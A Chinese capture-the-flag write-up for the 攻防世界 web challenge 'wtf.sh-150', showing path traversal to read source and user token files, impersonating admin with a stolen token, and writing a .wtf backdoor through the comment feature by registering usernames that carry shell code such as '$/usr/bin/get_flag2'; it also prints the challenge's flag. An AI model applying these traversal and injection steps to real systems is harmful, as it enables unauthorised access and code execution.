攻防世界web wtf.sh-150

攻防世界web wtf.sh-150_第1张图片

 

打开环境

攻防世界web wtf.sh-150_第2张图片

 

 

 

第一眼看不出来有什么

随便点一下

 

这里有个 注册,那我们就注册一下看看

攻防世界web wtf.sh-150_第3张图片

 

 

 攻防世界web wtf.sh-150_第4张图片

 

攻防世界web wtf.sh-150_第5张图片

 

登录了 没发现什么异常

继续点

 

攻防世界web wtf.sh-150_第6张图片

 

 

 

这里有个 值 测试一下sql啊 路径穿越啊 

这里确实是路径穿越

post.wtf?post=../

攻防世界web wtf.sh-150_第7张图片

 

 

 

有代码,crtl+f  找一下flag

攻防世界web wtf.sh-150_第8张图片

 

 

 

整理一下代码


 
 
 
 
   $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo "
 

${username}'s posts:

"; $ echo "
 

       "; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}"); $ echo "
      
  1. $(nth_line 2 "${post}" | htmlentities)
  2. "; $ done $ echo "
     
"; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi
 

 

里面有一句

$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi

登录用户admin 就可以得到flag1 

要登陆 admin用户 就要找到admin的密码 看看会不会在这个页面

没有找到 admin的更多信息,但是发现了 有个users的目录

攻防世界web wtf.sh-150_第9张图片

 

 

 

那就是要继续路径穿越了

post.wtf?post=../users

攻防世界web wtf.sh-150_第10张图片

 

 

看到了我们注册的张三

那admin在这里么

 

 

 

攻防世界web wtf.sh-150_第11张图片

 

 

 

 

 

找到admin

那这些字符代表什么呢

用我们注册的 张三用户来查看

首先判断 c4f9375f9834b4e7f0a528cc65c055702bf5f24a 这一串代表什么  解密无果

点张三 用户抓包看看

攻防世界web wtf.sh-150_第12张图片

 

 

 攻防世界web wtf.sh-150_第13张图片

 

 

 

这是token

那我们可以 进行admin的 用户登录欺骗了

使用token 伪装admin登录

攻防世界web wtf.sh-150_第14张图片

 

 

 

得到flag emmmmm  好像只有一半。。xctf{cb49256d1ab48803

 

后面不会了,查wp

 

服务器能解析wtf文件,上传wtf文件得到shell

 

function reply {

local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";

评论功能的后台代码,也是存在路径穿越的。

代码把用户名写在了评论文件的内容中:echo "${username}" > "${next_file}";

通过上面的分析:如果用户名是一段可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能够执行我们想要的代码。 (而且wtf.sh只运行文件扩展名为.wtf的脚本和前缀为'$'的行)

先普通地评论一下,知晓评论发送的数据包的结构,在普通评论的基础上,进行路径穿越,上传后门sh.wtf

攻防世界web wtf.sh-150_第15张图片

 

 

 

攻防世界web wtf.sh-150_第16张图片

 

 

 

 

%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析。

访问后门,发现成功写入:

攻防世界web wtf.sh-150_第17张图片

 

 

 

攻防世界web wtf.sh-150_第18张图片

 

 

 为了写入恶意代码,我们得让用户名里携带代码,故注册这样一个用户:${find,/,-iname,get_flag2}    写入后门:

 

 攻防世界web wtf.sh-150_第19张图片

 

 

 

得到路径攻防世界web wtf.sh-150_第20张图片

 

 

 继续注册 恶意用户  $/usr/bin/get_flag2  写入后门

攻防世界web wtf.sh-150_第21张图片

 

 

 

攻防世界web wtf.sh-150_第22张图片

 

 

 

得到后一半  149e5ec49d3c29ca}

得到falg

xctf{cb49256d1ab48803149e5ec49d3c29ca}

 

真滴难

 

你可能感兴趣的:(攻防世界web wtf.sh-150)